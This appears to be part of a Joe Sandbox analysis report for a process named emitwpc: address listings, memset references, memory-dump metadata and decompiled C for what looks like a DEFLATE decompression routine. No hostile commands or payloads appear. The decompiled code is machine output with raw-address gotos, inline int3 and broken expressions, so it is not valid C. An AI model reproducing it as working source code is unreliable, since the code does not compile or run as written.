0x003861d7
0x003861db
0x003863f6
0x003863f6
0x00000000
0x003861e1
0x003861e1
0x003861e1
0x003861e1
0x003861e3
0x003861e3
0x003861e3
0x003861e6
0x003861e6
0x003861ec
0x003861ef
0x003861f1
0x00000000
0x00000000
0x003861f7
0x003861f7
0x003861fa
0x003862b2
0x003862b9
0x003862c1
0x003862c4
0x003862c6
0x003862d7
0x00000000
0x003862e0
0x003862e0
0x003862e0
0x003862e5
0x003862e7
0x003862ee
0x003862f6
0x003862f9
0x003862f9
0x003862c8
0x003862c8
0x003862ca
0x003862cd
0x003862d2
0x003862d2
0x003862fd
0x003862fd
0x003862ff
0x00386301
0x00386304
0x00386307
0x0038630a
0x0038631c
0x0038631c
0x0038632c
0x0038632c
0x00386333
0x00386336
0x00386338
0x00386360
0x0038636e
0x00386371
0x00386378
0x0038637b
0x0038637d
0x00386381
0x00386384
0x00386387
0x00386393
0x00386393
0x00386389
0x00386389
0x00386389
0x00386395
0x003863a0
0x003863a9
0x003863ac
0x003863ae
0x003861e3
0x003861e3
0x00000000
0x0038633a
0x0038633a
0x0038633a
0x0038633a
0x0038633d
0x00000000
0x00000000
0x00386343
0x00386348
0x0038634a
0x0038634b
0x0038634e
0x00386350
0x00386353
0x00386356
0x00386359
0x0038635b
0x00000000
0x0038635d
0x0038635d
0x0038635d
0x00000000
0x0038635d
0x00000000
0x0038635b
0x003865b6
0x003865b6
0x00000000
0x003865b6
0x0038631e
0x0038631e
0x0038631e
0x00386321
0x00386323
0x00386698
0x00386698
0x0038669b
0x00000000
0x00386329
0x00386329
0x00386329
0x00000000
0x00386329
0x00386323
0x0038630c
0x0038630c
0x0038630c
0x0038630f
0x00386316
0x00000000
0x00386316
0x00386200
0x00386200
0x00386205
0x00386208
0x0038628e
0x0038628e
0x00386295
0x00386298
0x0038629d
0x003862a3
0x003862a6
0x003862a9
0x003862a9
0x003862ac
0x00000000
0x0038620e
0x0038620e
0x0038620e
0x00386210
0x00386215
0x0038621d
0x0038621f
0x00386232
0x00386232
0x00386235
0x00000000
0x00386237
0x00386237
0x0038623c
0x0038623c
0x00386240
0x00386240
0x0038624e
0x00386259
0x0038625a
0x0038625d
0x0038625f
0x00000000
0x00000000
0x00386261
0x00386261
0x00386264
0x00386266
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00386266
0x00000000
0x00386240
0x00386221
0x00386221
0x00386221
0x00386224
0x00386226
0x00386268
0x00386268
0x0038626b
0x0038626b
0x0038626e
0x003865ab
0x003865ab
0x00000000
0x00000000
0x00000000
0x00000000
0x00386228
0x00386228
0x00386228
0x0038622a
0x003862af
0x003862af
0x00000000
0x00386230
0x00386230
0x00000000
0x00386230
0x0038622a
0x00386226
0x00000000
0x00386274
0x00386277
0x00386279
0x0038627b
0x0038627c
0x0038627e
0x00386281
0x00386284
0x00386287
0x00386287
0x00000000
0x0038628c
0x00386208
0x00000000
0x003861fa
0x003863b6
0x003863b9
0x003863bc
0x003863be
0x003863c0
0x003866a6
0x003866a6
0x003866a9
0x00000000
0x003863c6
0x003863c6
0x003863d2
0x003863e3
0x003863e3
0x003863ed
0x003863f3
0x00000000
0x003863f3
0x00000000
0x003863c0
0x003861e3
0x00386063
0x00386063
0x00386063
0x00386066
0x00386686
0x00386686
0x0038668d
0x00000000
0x00000000
0x00000000
0x00000000
0x00386066
0x00000000
0x00386061

APIs

memset.NTDLL ref: 00385EEE
memset.NTDLL ref: 00385F7D
memset.NTDLL ref: 00385F93
memset.NTDLL ref: 00385FA9

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 7376b815028762d3b5f49343d1d9e786ac014ed1c6e2374dc0248206b6d4de90
Instruction ID: b705805913928e4b037554831d1c2c09b7652131db224793f4ea4cfdc72bf21b
Opcode Fuzzy Hash: 7376b815028762d3b5f49343d1d9e786ac014ed1c6e2374dc0248206b6d4de90
Instruction Fuzzy Hash: 9C31D4B5E00705EFDB0ADF60C8817ADBBB4FF44305F2441AAE506AB681D774AA40CF84

Uniqueness

Uniqueness Score: 0.00%

Function 00385D95, Relevance: 5.1, APIs: 4, Instructions: 79
COMMON

C-Code - Quality: 68%

			E00385D95(void* __eax, void* __ebx, void* __edi) {
				intOrPtr* _t597;
				void* _t598;
				signed int _t600;
				signed int _t603;
				signed int _t605;
				void* _t608;
				signed int _t609;
				signed int _t612;
				signed int _t614;
				signed int _t617;
				signed int _t618;
				signed int _t624;
				signed int _t625;
				void* _t628;
				signed int _t630;
				void* _t631;
				signed int _t641;
				signed int* _t651;
				signed int _t654;
				signed int _t671;
				signed int _t673;
				signed int _t675;
				signed int _t685;
				signed int _t688;
				signed int _t689;
				signed int _t690;
				signed int _t695;
				unsigned int _t698;
				void* _t699;
				signed int _t707;
				signed int _t710;
				signed int _t721;
				signed int _t725;
				signed int _t727;
				void* _t730;
				signed int _t732;
				signed int _t733;
				intOrPtr _t734;
				signed char _t738;
				intOrPtr* _t740;
				void* _t741;
				signed int _t749;
				signed int _t753;
				signed int _t758;
				signed int _t764;
				signed int _t767;
				void* _t769;
				intOrPtr _t782;
				intOrPtr _t783;
				intOrPtr _t784;
				signed int _t787;
				signed int _t791;
				void* _t797;
				signed int _t802;
				signed int _t804;
				signed int _t808;
				signed int _t812;
				signed int _t815;
				signed int _t819;
				void* _t824;
				signed int _t828;
				void* _t829;
				signed int _t834;
				void* _t835;
				void* _t836;
				signed int _t841;
				signed int _t842;
				signed char _t844;
				signed int _t845;
				void* _t847;
				void* _t851;
				signed int _t853;
				intOrPtr _t854;
				signed char _t860;
				signed int _t861;
				signed int _t862;
				signed char _t863;
				signed char _t864;
				intOrPtr _t866;
				void* _t869;
				void* _t870;
				void* _t871;
				signed int _t874;
				signed int _t877;
				void* _t878;
				void* _t879;
				void* _t880;
				void* _t881;
				void* _t882;
				void* _t883;
				void* _t884;
				void* _t885;
				signed char _t894;
				signed int _t896;
				void* _t897;
				void* _t898;
				signed int _t901;
				signed int _t902;
				signed char _t903;
				intOrPtr _t905;
				intOrPtr _t907;
				void* _t910;
				signed char _t911;
				signed char _t912;
				signed char _t913;
				signed int _t917;
				signed char _t922;
				void* _t923;
				void* _t924;
				signed int _t927;
				signed char* _t932;
				signed int _t936;
				signed char _t940;
				signed int _t941;
				signed char _t944;
				signed int _t945;
				void* _t953;
				signed int _t968;
				signed int _t969;
				signed int _t972;
				signed int _t974;
				signed int _t978;
				signed int* _t979;
				signed char* _t984;
				void* _t985;
				void* _t990;
				signed int _t991;
				signed int _t994;
				signed int _t995;
				signed int _t997;
				signed int _t999;
				signed int _t1000;
				signed int _t1003;
				signed int _t1004;
				int _t1005;
				int _t1007;
				signed int _t1008;
				unsigned int _t1011;
				void* _t1015;
				intOrPtr _t1016;
				signed int _t1017;
				signed int _t1021;
				signed char _t1025;
				void* _t1029;
				signed char _t1030;
				signed int _t1031;
				void* _t1033;
				void* _t1035;
				unsigned int _t1036;
				signed int _t1037;
				void* _t1039;
				void* _t1041;
				int _t1046;
				signed int _t1047;
				signed int _t1049;
				signed int _t1050;
				unsigned int _t1052;
				signed int _t1053;
				unsigned int _t1055;
				signed int _t1056;
				signed char _t1064;
				void* _t1065;
				void* _t1067;
				void* _t1068;

				L0:
				while(1) {
					L0:
					_t597 = __eax + 1 - 0x20;
					 *_t597 =  *_t597 + _t597;
					_t847 = __ebx + _t597;
					_t598 = _t597 + 1;
					 *_t598 =  *_t598 ^ _t598;
					 *_t598 = _t598 +  *_t598;
					 *0xde0 =  *0xde0 + _t598;
					memset(_t598, ??, ??);
					asm("movdqa xmm0, [0x38fae0]");
					_t1068 = _t1067 + 0xc;
					asm("movdqu [edi+0x40], xmm0");
					asm("movdqu [edi+0x50], xmm0");
					asm("movdqu [edi+0x60], xmm0");
					asm("movdqu [edi+0x70], xmm0");
					asm("movdqu [edi+0x80], xmm0");
					asm("movdqu [edi+0x90], xmm0");
					asm("movdqu [edi+0xa0], xmm0");
					asm("movdqu [edi+0xb0], xmm0");
					asm("movdqu [edi+0xc0], xmm0");
					_t1029 = __edi + 0xd0;
					asm("movdqa xmm0, [0x38faf0]");
					asm("movdqu [edi], xmm0");
					asm("movdqu [edi+0x10], xmm0");
					asm("movdqu [edi+0x20], xmm0");
					asm("movdqu [edi+0x30], xmm0");
					asm("movdqu [edi+0x40], xmm0");
					asm("movdqu [edi+0x50], xmm0");
					asm("movdqu [edi+0x60], xmm0");
					asm("movdqa xmm0, [0x38fad0]");
					asm("movdqu [edi+0x70], xmm0");
					asm("movq [edi+0x80], xmm0");
					 *((intOrPtr*)(_t1029 + 0x88)) = 0x8080808;
					 *((intOrPtr*)(_t1029 + 0x8c)) = 0x8080808;
					_t1030 =  *(_t1065 - 0x14);
					while(1) {
						L141:
						_t600 =  *(_t1030 + 0x18);
						if(_t600 >= 0) {
							break;
						}
						L218:
						_t968 =  *(_t1065 - 4);
						while(1) {
							L39:
							_t860 =  *(_t1065 - 0x20) - _t847;
							__eflags = _t860 - 4;
							if(_t860 < 4) {
								goto L58;
							}
							L40:
							_t1030 =  *(_t1065 - 0x14);
							__eflags =  *((intOrPtr*)(_t1065 - 0x40)) -  *(_t1065 - 0x10) - 2;
							if( *((intOrPtr*)(_t1065 - 0x40)) -  *(_t1065 - 0x10) < 2) {
								goto L58;
							} else {
								L41:
								__eflags = _t1050 - 0xf;
								if(_t1050 < 0xf) {
									_t1017 =  *(_t847 + 1) & 0x000000ff;
									_t860 = _t1050;
									_t733 =  *_t847 & 0x000000ff;
									_t847 = _t847 + 2;
									 *(_t1065 - 0x18) = _t847;
									 *(_t1065 - 4) =  *(_t1065 - 4) | (_t1017 << 0x00000008 | _t733) << _t860;
									_t1050 = _t1050 + 0x10;
									__eflags = _t1050;
									_t968 =  *(_t1065 - 4);
								}
								_t618 =  *((short*)(_t1030 + 0x160 + (_t968 & 0x000003ff) * 2));
								 *(_t1065 - 8) = _t618;
								__eflags = _t618;
								if(_t618 < 0) {
									L45:
									goto 0x3a145c;
									asm("int3");
									asm("int3");
									asm("int3");
									do {
										L46:
										_t685 = _t968 >> _t860;
										_t860 = _t860 + 1;
										_t618 = (_t685 & 0x00000001) +  !_t847;
										_t847 =  *((short*)(_t1030 + 0x960 + _t618 * 2));
										__eflags = _t847;
									} while (_t847 < 0);
									 *(_t1065 - 8) = _t847;
									_t847 =  *(_t1065 - 0x18);
								} else {
									L44:
									_t860 = _t618 >> 9;
								}
								L48:
								_t968 = _t968 >> _t860;
								_t1050 = _t1050 - _t860;
								_t861 =  *(_t1065 - 8);
								 *(_t1065 - 4) = _t968;
								__eflags = _t861 & 0x00000100;
								if((_t861 & 0x00000100) != 0) {
									L84:
									_t862 = _t861 & 0x000001ff;
									 *(_t1065 - 8) = _t862;
									__eflags = _t862 - 0x100;
									if(_t862 != 0x100) {
										L219:
										_t608 = _t862 * 4 - 0x404;
										_t863 =  *(_t608 + 0x38f010);
										_t609 =  *(_t608 + 0x38fa48);
										 *(_t1065 - 0x38) = _t863;
										 *(_t1065 - 8) = _t609;
										__eflags = _t863;
										if(_t863 == 0) {
											L225:
											__eflags = _t1050 - 0xf;
											if(_t1050 >= 0xf) {
												L3:
												_t612 =  *((short*)(_t1030 + 0xf00 + (_t968 & 0x000003ff) * 2));
												 *(_t1065 - 0x1c) = _t612;
												__eflags = _t612;
												if(_t612 < 0) {
													L5:
													goto 0x3a13e3;
													asm("int3");
													asm("int3");
													asm("int3");
													do {
														L7:
														_t614 = _t968 >> _t863;
														_t863 = _t863 + 1;
														_t847 =  *((short*)(_t1030 + 0x1700 + ((_t614 & 0x00000001) +  !_t847) * 2));
														__eflags = _t847;
													} while (_t847 < 0);
													 *(_t1065 - 0x1c) = _t847;
													_t847 =  *(_t1065 - 0x18);
													_t617 =  *(_t1065 - 0x1c);
												} else {
													L4:
													_t863 = _t612 >> 9;
													_t617 = _t612 & 0x000001ff;
												}
												L9:
												_t968 = _t968 >> _t863;
												_t1050 = _t1050 - _t863;
												_t864 =  *(0x38f090 + _t617 * 4);
												_t618 =  *(0x38f110 + _t617 * 4);
												 *(_t1065 - 4) = _t968;
												 *(_t1065 - 0x38) = _t864;
												 *(_t1065 - 0x28) = _t618;
												__eflags = _t864;
												if(_t864 == 0) {
													L15:
													_t866 =  *(_t1065 - 0x10) -  *((intOrPtr*)(_t1065 + 0xc));
													 *((intOrPtr*)(_t1065 - 0x48)) = _t866;
													__eflags = _t618 - _t866;
													if(_t618 <= _t866) {
														L17:
														_t1030 =  *(_t1065 - 0x14);
														_t869 = (_t866 - _t618 &  *(_t1065 - 0x34)) +  *((intOrPtr*)(_t1065 + 0xc));
														__eflags =  *(_t1065 - 0x10) - _t869;
														 *(_t1065 - 0xc) = _t869;
														_t620 =  >  ?  *(_t1065 - 0x10) : _t869;
														_t870 =  *(_t1065 - 8);
														_t621 = ( >  ?  *(_t1065 - 0x10) : _t869) + _t870;
														__eflags = ( >  ?  *(_t1065 - 0x10) : _t869) + _t870 -  *((intOrPtr*)(_t1065 - 0x40));
														if(( >  ?  *(_t1065 - 0x10) : _t869) + _t870 <=  *((intOrPtr*)(_t1065 - 0x40))) {
															L21:
															__eflags = _t870 - 9;
															if(_t870 < 9) {
																L30:
																goto 0x3a1420;
																asm("int3");
																do {
																	L32:
																	_t870 = _t870 - 3;
																	 *_t1030 =  *_t968 & 0x000000ff;
																	 *((char*)(_t1030 + 1)) =  *(_t968 + 1) & 0x000000ff;
																	_t624 =  *(2 + _t968) & 0x000000ff;
																	_t968 = _t968 + 3;
																	 *(2 + _t1030) = _t624;
																	_t1030 = _t1030 + 3;
																	__eflags = _t870 - 2;
																} while (_t870 > 2);
																goto L33;
															} else {
																L22:
																__eflags = _t870 -  *(_t1065 - 0x28);
																if(_t870 >  *(_t1065 - 0x28)) {
																	goto L30;
																} else {
																	L23:
																	_t1041 =  *(_t1065 - 0xc);
																	_t871 =  *(_t1065 - 0x10);
																	_t738 = _t1041 + (_t870 & 0xfffffff8);
																	 *(_t1065 - 0x24) = _t738;
																	_t1025 = _t738;
																	do {
																		L24:
																		 *_t871 =  *_t1041;
																		_t740 =  *((intOrPtr*)(_t1041 + 4));
																		_t1041 = _t1041 + 8;
																		 *((intOrPtr*)(_t871 + 4)) = _t740;
																		_t871 = _t871 + 8;
																		__eflags = _t1041 - _t1025;
																	} while (_t1041 < _t1025);
																	_t968 =  *(_t1065 - 4);
																	 *(_t1065 - 0x10) = _t871;
																	_t870 =  *(_t1065 - 8) & 0x00000007;
																	 *(_t1065 - 0xc) = _t1041;
																	_t1030 =  *(_t1065 - 0x14);
																	 *(_t1065 - 8) = _t870;
																	__eflags = _t870 - 3;
																	if(_t870 >= 3) {
																		goto L30;
																	} else {
																		goto L26;
																	}
																}
															}
															continue;
														} else {
															while(1) {
																L18:
																_t741 = _t870;
																_t870 = _t870 - 1;
																 *(_t1065 - 8) = _t870;
																__eflags = _t741;
																if(_t741 == 0) {
																	goto L39;
																}
																L19:
																__eflags =  *(_t1065 - 0x10) -  *((intOrPtr*)(_t1065 - 0x40));
																if( *(_t1065 - 0x10) >=  *((intOrPtr*)(_t1065 - 0x40))) {
																	L238:
																	 *(_t1065 - 0xc) = 2;
																	 *_t1030 = 0x35;
																	goto L292;
																} else {
																	L20:
																	 *(_t1065 - 0x10) =  *(_t1065 - 0x10) + 1;
																	 *((intOrPtr*)(_t1065 - 0x48)) =  *((intOrPtr*)(_t1065 - 0x48)) + 1;
																	 *( *(_t1065 - 0x10)) =  *((intOrPtr*)(( *((intOrPtr*)(_t1065 - 0x48)) -  *(_t1065 - 0x28) &  *(_t1065 - 0x34)) +  *((intOrPtr*)(_t1065 + 0xc))));
																	_t968 =  *(_t1065 - 4);
																	continue;
																}
																goto L295;
															}
															while(1) {
																L39:
																_t860 =  *(_t1065 - 0x20) - _t847;
																__eflags = _t860 - 4;
																if(_t860 < 4) {
																	goto L58;
																}
																goto L40;
															}
															goto L58;
														}
													} else {
														L16:
														__eflags =  *(_t1065 + 0x18) & 0x00000004;
														if(( *(_t1065 + 0x18) & 0x00000004) != 0) {
															L270:
															_t689 = _t618 | 0xffffffff;
															 *_t1030 = 0x25;
															goto L291;
														} else {
															goto L17;
														}
													}
												} else {
													L10:
													__eflags = _t1050 - _t864;
													if(_t1050 >= _t864) {
														L13:
														_t1050 = _t1050 - _t864;
														_t749 = (_t618 << _t864) - 0x00000001 & _t968;
														_t968 = _t968 >> _t864;
														_t28 = _t1065 - 0x28;
														 *_t28 =  *(_t1065 - 0x28) + _t749;
														__eflags =  *_t28;
														_t618 =  *(_t1065 - 0x28);
														 *(_t1065 - 4) = _t968;
														goto L15;
													} else {
														while(1) {
															L11:
															__eflags = _t847 -  *(_t1065 - 0x20);
															if(_t847 >=  *(_t1065 - 0x20)) {
																break;
															}
															L12:
															_t618 = ( *_t847 & 0x000000ff) << _t1050;
															_t847 = _t847 + 1;
															_t864 =  *(_t1065 - 0x38);
															_t968 = _t968 | _t618;
															_t1050 = _t1050 + 8;
															 *(_t1065 - 0x18) = _t847;
															 *(_t1065 - 4) = _t968;
															__eflags = _t1050 - _t864;
															if(_t1050 < _t864) {
																continue;
															} else {
																goto L13;
															}
															goto L295;
														}
														L263:
														 *_t1030 = 0x1b;
														goto L285;
													}
												}
											} else {
												L226:
												__eflags =  *(_t1065 - 0x20) - _t847 - 2;
												if( *(_t1065 - 0x20) - _t847 >= 2) {
													L237:
													_t991 =  *(_t847 + 1) & 0x000000ff;
													_t753 =  *_t847 & 0x000000ff;
													_t847 = _t847 + 2;
													_t1030 =  *(_t1065 - 0x14);
													_t863 = _t1050;
													 *(_t1065 - 0x18) = _t847;
													 *(_t1065 - 4) =  *(_t1065 - 4) | _t991 << _t1050 + 0x00000008 | _t753 << _t863;
													_t1050 = _t1050 + 0x10;
													_t968 =  *(_t1065 - 4);
												} else {
													do {
														L227:
														_t618 =  *((short*)(_t1030 + 0xf00 + (_t968 & 0x000003ff) * 2));
														 *(_t1065 - 0x24) = _t618;
														__eflags = _t618;
														if(_t618 < 0) {
															L231:
															__eflags = _t1050 - 0xa;
															if(_t1050 <= 0xa) {
																goto L1;
															} else {
																L232:
																L233:
																 *(_t1065 - 0x1c) = _t863;
																while(1) {
																	L234:
																	_t863 =  *((short*)(_t1030 + 0x1700 + ((_t968 >> _t863 & 0x00000001) +  !( *(_t1065 - 0x24))) * 2));
																	_t764 =  *(_t1065 - 0x1c) + 1;
																	 *(_t1065 - 0x24) = _t863;
																	 *(_t1065 - 0x1c) = _t764;
																	__eflags = _t863;
																	if(_t863 >= 0) {
																		goto L3;
																	}
																	L235:
																	_t618 = _t764 + 1;
																	__eflags = _t1050 - _t618;
																	if(_t1050 < _t618) {
																		goto L1;
																	} else {
																		L236:
																		_t863 =  *(_t1065 - 0x1c);
																		continue;
																	}
																	goto L295;
																}
																goto L3;
															}
														} else {
															L228:
															_t618 = _t618 >> 9;
															__eflags = _t618;
															if(_t618 == 0) {
																L1:
																__eflags = _t847 -  *(_t1065 - 0x20);
																if(_t847 >=  *(_t1065 - 0x20)) {
																	L264:
																	 *_t1030 = 0x1a;
																	goto L285;
																} else {
																	goto L2;
																}
															} else {
																L229:
																__eflags = _t1050 - _t618;
																if(_t1050 >= _t618) {
																	goto L3;
																} else {
																	L230:
																	goto L1;
																}
															}
														}
														goto L295;
														L2:
														_t863 = _t1050;
														_t758 = ( *_t847 & 0x000000ff) << _t863;
														_t847 = _t847 + 1;
														_t968 = _t968 | _t758;
														 *(_t1065 - 0x18) = _t847;
														_t1050 = _t1050 + 8;
														 *(_t1065 - 4) = _t968;
														__eflags = _t1050 - 0xf;
													} while (_t1050 < 0xf);
												}
												goto L3;
											}
										} else {
											L220:
											__eflags = _t1050 - _t863;
											if(_t1050 >= _t863) {
												L223:
												L224:
												_t1050 = _t1050 - _t863;
												_t767 = (_t609 << _t863) - 0x00000001 & _t968;
												_t968 = _t968 >> _t863;
												_t456 = _t1065 - 8;
												 *_t456 =  *(_t1065 - 8) + _t767;
												__eflags =  *_t456;
												 *(_t1065 - 4) = _t968;
												goto L225;
											} else {
												while(1) {
													L221:
													__eflags = _t847 -  *(_t1065 - 0x20);
													if(_t847 >=  *(_t1065 - 0x20)) {
														break;
													}
													L222:
													_t618 = ( *_t847 & 0x000000ff) << _t1050;
													_t847 = _t847 + 1;
													_t863 =  *(_t1065 - 0x38);
													_t968 = _t968 | _t618;
													_t1050 = _t1050 + 8;
													 *(_t1065 - 0x18) = _t847;
													 *(_t1065 - 4) = _t968;
													__eflags = _t1050 - _t863;
													if(_t1050 < _t863) {
														continue;
													} else {
														goto L223;
													}
													goto L295;
												}
												L262:
												 *_t1030 = 0x19;
												goto L285;
											}
										}
									} else {
										while(1) {
											L85:
											__eflags =  *(_t1030 + 0x14) & 0x00000001;
											if(( *(_t1030 + 0x14) & 0x00000001) != 0) {
												break;
											}
											L86:
											__eflags = _t1050 - 3;
											if(_t1050 >= 3) {
												L89:
												_t1050 = _t1050 - 3;
												_t698 = _t968 & 0x00000007;
												_t999 = _t968 >> 3;
												 *(_t1030 + 0x14) = _t698;
												_t699 = _t698 >> 1;
												__eflags = _t699;
												 *(_t1065 - 4) = _t999;
												 *(_t1065 - 0x1c) = _t1050;
												 *(_t1030 + 0x18) = _t699;
												if(_t699 != 0) {
													L124:
													__eflags = _t699 - 3;
													if(_t699 == 3) {
														L266:
														 *(_t1065 - 0xc) = 0xffffffff;
														 *_t1030 = 0xa;
														goto L292;
													} else {
														L125:
														__eflags = _t699 - 1;
														if(__eflags != 0) {
															L127:
															_t901 = 0;
															__eflags = 0;
															while(1) {
																L128:
																 *(_t1065 - 8) = _t901;
																__eflags = _t901 - 3;
																if(_t901 >= 3) {
																	break;
																}
																L129:
																_t618 =  *((char*)(_t901 + 0x38f004));
																 *(_t1065 - 0x1c) = _t618;
																__eflags = _t1050 - _t618;
																if(_t1050 >= _t618) {
																	L132:
																	_t1015 = _t1030 + _t901 * 4;
																	_t1036 =  *(_t1065 - 4);
																	 *(_t1015 + 0x2c) = (0x00000001 <<  *(_t1065 - 0x1c)) - 0x00000001 & _t1036;
																	_t707 =  *(_t1065 - 8);
																	_t940 =  *((char*)(_t707 + 0x38f004));
																	_t1037 = _t1036 >> _t940;
																	_t1050 = _t1050 - _t940;
																	_t941 = _t707;
																	 *(_t1065 - 4) = _t1037;
																	 *(_t1065 - 0x1c) = _t1050;
																	 *(_t1015 + 0x2c) =  *(_t1015 + 0x2c) +  *((intOrPtr*)(0x38fa38 + _t941 * 4));
																	_t999 = _t1037;
																	_t1030 =  *(_t1065 - 0x14);
																	_t901 = _t941 + 1;
																	continue;
																} else {
																	while(1) {
																		L130:
																		__eflags = _t847 -  *(_t1065 - 0x20);
																		if(_t847 >=  *(_t1065 - 0x20)) {
																			break;
																		}
																		L131:
																		_t710 = ( *_t847 & 0x000000ff) << _t1050;
																		_t847 = _t847 + 1;
																		_t901 =  *(_t1065 - 8);
																		_t999 = _t999 | _t710;
																		_t1050 = _t1050 + 8;
																		 *(_t1065 - 0x18) = _t847;
																		 *(_t1065 - 4) = _t999;
																		_t618 =  *((char*)(_t901 + 0x38f004));
																		 *(_t1065 - 0x1c) = _t618;
																		__eflags = _t1050 - _t618;
																		if(_t1050 < _t618) {
																			continue;
																		} else {
																			goto L132;
																		}
																		goto L295;
																	}
																	L248:
																	 *_t1030 = 0xb;
																	goto L285;
																}
																goto L295;
															}
															L133:
															L134:
															_t618 = memset(_t1030 + 0x1b80, 0, ??);
															_t1000 =  *(_t1065 - 4);
															_t1068 = _t1068 + 0xc;
															_t902 = 0;
															__eflags = 0;
															while(1) {
																L135:
																 *(_t1065 - 8) = _t902;
																__eflags = _t902 -  *((intOrPtr*)(_t1030 + 0x34));
																if(__eflags >= 0) {
																	break;
																}
																L136:
																__eflags = _t1050 - 3;
																if(_t1050 >= 3) {
																	L139:
																	_t936 = _t1000 & 0x00000007;
																	_t1000 = _t1000 >> 3;
																	_t1050 = _t1050 - 3;
																	 *(_t1065 - 4) = _t1000;
																	 *(_t1065 - 0x1c) = _t1050;
																	_t618 =  *( *(_t1065 - 8) + 0x38fa24) & 0x000000ff;
																	 *(_t1030 + 0x1b80 + _t618) = _t936;
																	_t902 =  *(_t1065 - 8) + 1;
																	continue;
																} else {
																	while(1) {
																		L137:
																		__eflags = _t847 -  *(_t1065 - 0x20);
																		if(_t847 >=  *(_t1065 - 0x20)) {
																			break;
																		}
																		L138:
																		_t618 = ( *_t847 & 0x000000ff) << _t1050;
																		_t847 = _t847 + 1;
																		_t1000 = _t1000 | _t618;
																		 *(_t1065 - 0x18) = _t847;
																		_t1050 = _t1050 + 8;
																		 *(_t1065 - 4) = _t1000;
																		__eflags = _t1050 - 3;
																		if(_t1050 < 3) {
																			continue;
																		} else {
																			goto L139;
																		}
																		goto L295;
																	}
																	L249:
																	 *_t1030 = 0xe;
																	goto L285;
																}
																goto L295;
															}
															L140:
															 *((intOrPtr*)(_t1030 + 0x34)) = 0x13;
															goto L141;
														} else {
															L126:
															goto 0x3a14d8;
															asm("int3");
															asm("int3");
															 *((intOrPtr*)(_t699 + 0x2c)) = 0x120;
															goto L0;
														}
													}
												} else {
													L90:
													_t618 = _t1050 & 0x00000007;
													__eflags = _t1050 - _t618;
													if(_t1050 >= _t618) {
														L93:
														_t944 = _t1050 & 0x00000007;
														_t968 = _t999 >> _t944;
														_t1050 = _t1050 - _t944;
														 *(_t1065 - 4) = _t968;
														_t945 = 0;
														__eflags = 0;
														while(1) {
															L94:
															 *(_t1065 - 8) = _t945;
															__eflags = _t945 - 4;
															if(_t945 >= 4) {
																break;
															}
															L95:
															__eflags = _t1050;
															if(_t1050 == 0) {
																L101:
																__eflags = _t847 -  *(_t1065 - 0x20);
																if(_t847 >=  *(_t1065 - 0x20)) {
																	L244:
																	 *_t1030 = 7;
																	goto L285;
																} else {
																	L102:
																	_t618 =  *_t847;
																	_t847 = _t847 + 1;
																	(_t1030 + 0x2920)[_t945] = _t618;
																	_t945 = _t945 + 1;
																	 *(_t1065 - 0x18) = _t847;
																	continue;
																}
															} else {
																L96:
																__eflags = _t1050 - 8;
																if(_t1050 >= 8) {
																	L100:
																	(_t1030 + 0x2920)[_t945] = _t968;
																	_t1050 = _t1050 - 8;
																	_t968 = _t968 >> 8;
																	_t945 = _t945 + 1;
																	 *(_t1065 - 4) = _t968;
																	continue;
																} else {
																	while(1) {
																		L97:
																		__eflags = _t847 -  *(_t1065 - 0x20);
																		if(_t847 >=  *(_t1065 - 0x20)) {
																			break;
																		}
																		L98:
																		_t618 = ( *_t847 & 0x000000ff) << _t1050;
																		_t847 = _t847 + 1;
																		_t968 = _t968 | _t618;
																		 *(_t1065 - 0x18) = _t847;
																		_t1050 = _t1050 + 8;
																		 *(_t1065 - 4) = _t968;
																		__eflags = _t1050 - 8;
																		if(_t1050 < 8) {
																			continue;
																		} else {
																			L99:
																			_t945 =  *(_t1065 - 8);
																			goto L100;
																		}
																		goto L295;
																	}
																	L243:
																	 *_t1030 = 6;
																	goto L285;
																}
															}
															goto L295;
														}
														L103:
														_t618 =  *(_t1030 + 0x2922) & 0x000000ff;
														 *(_t1065 - 8) = ( *(_t1030 + 0x2921) & 0x000000ff) << 0x00000008 |  *(_t1030 + 0x2920) & 0x000000ff;
														__eflags =  *(_t1065 - 8) - ((( *(_t1030 + 0x2923) & 0x000000ff) << 0x00000008 | _t618) ^ 0x0000ffff);
														if( *(_t1065 - 8) != ((( *(_t1030 + 0x2923) & 0x000000ff) << 0x00000008 | _t618) ^ 0x0000ffff)) {
															L265:
															 *(_t1065 - 0xc) = 0xffffffff;
															 *_t1030 = 0x27;
															goto L292;
														} else {
															L104:
															_t953 =  *(_t1065 - 8);
															while(1) {
																L105:
																__eflags = _t953;
																if(_t953 == 0) {
																	goto L85;
																}
																L106:
																__eflags = _t1050;
																if(_t1050 == 0) {
																	L113:
																	_t618 =  *(_t1065 - 0x10);
																	while(1) {
																		L114:
																		__eflags = _t953;
																		if(_t953 == 0) {
																			break;
																		}
																		L116:
																		_t1016 =  *((intOrPtr*)(_t1065 - 0x40));
																		__eflags = _t618 - _t1016;
																		if(_t618 < _t1016) {
																			L118:
																			_t618 =  *(_t1065 - 0x20);
																			__eflags = _t847 - _t618;
																			if(_t847 >= _t618) {
																				L247:
																				_t1030 =  *(_t1065 - 0x14);
																				 *_t1030 = 0x26;
																				goto L285;
																			} else {
																				L119:
																				_t968 = _t1016 -  *(_t1065 - 0x10);
																				_t1039 = _t618 - _t847;
																				__eflags = _t968 - _t1039;
																				_t715 =  <  ? _t968 : _t1039;
																				__eflags = ( <  ? _t968 : _t1039) - _t953;
																				if(( <  ? _t968 : _t1039) >= _t953) {
																					_t1030 = _t953;
																				} else {
																					__eflags = _t968 - _t1039;
																					_t1030 =  <  ? _t968 : _t1039;
																				}
																				L122:
																				L123:
																				memcpy();
																				_t847 = _t847 + _t1030;
																				_t618 =  *(_t1065 - 0x10) + _t1030;
																				_t1068 = _t1068 + 0xc;
																				 *(_t1065 - 0x18) = _t847;
																				_t953 =  *(_t1065 - 8) - _t1030;
																				 *(_t1065 - 0x10) = _t618;
																				 *(_t1065 - 8) = _t953;
																				continue;
																			}
																		} else {
																			L117:
																			_t1030 =  *(_t1065 - 0x14);
																			 *(_t1065 - 0xc) = 2;
																			 *_t1030 = 9;
																			goto L292;
																		}
																		goto L295;
